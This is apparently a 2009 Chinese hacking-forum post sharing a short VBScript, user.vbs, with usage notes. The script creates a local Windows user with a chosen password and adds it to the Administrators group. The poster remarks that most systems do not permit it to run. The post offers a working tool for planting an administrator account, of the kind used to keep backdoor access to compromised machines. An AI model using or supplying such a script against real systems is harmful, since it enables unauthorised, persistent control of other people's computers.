用法: cscript user.vbs 用户名 密码
例如: cscript user.vbs cc cc '增加了一个用户名为cc密码为cc 的用户 并且这个用户是管理员组的
user.vbs
struser=wscript.arguments(0)
strpass=wscript.arguments(1)
set lp=createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&"/" & struser & ",user")
oe.Add(of.ADsPath)
For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & " 建立成功!"
wscript.quit
end if
Next
Wscript.echo struser & " 用户建立失败!"
ok ! 不过大部分系统是没有执行的权限的....
IP卡
狗仔卡
发表于 2009-11-28 01:47:54
收藏
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡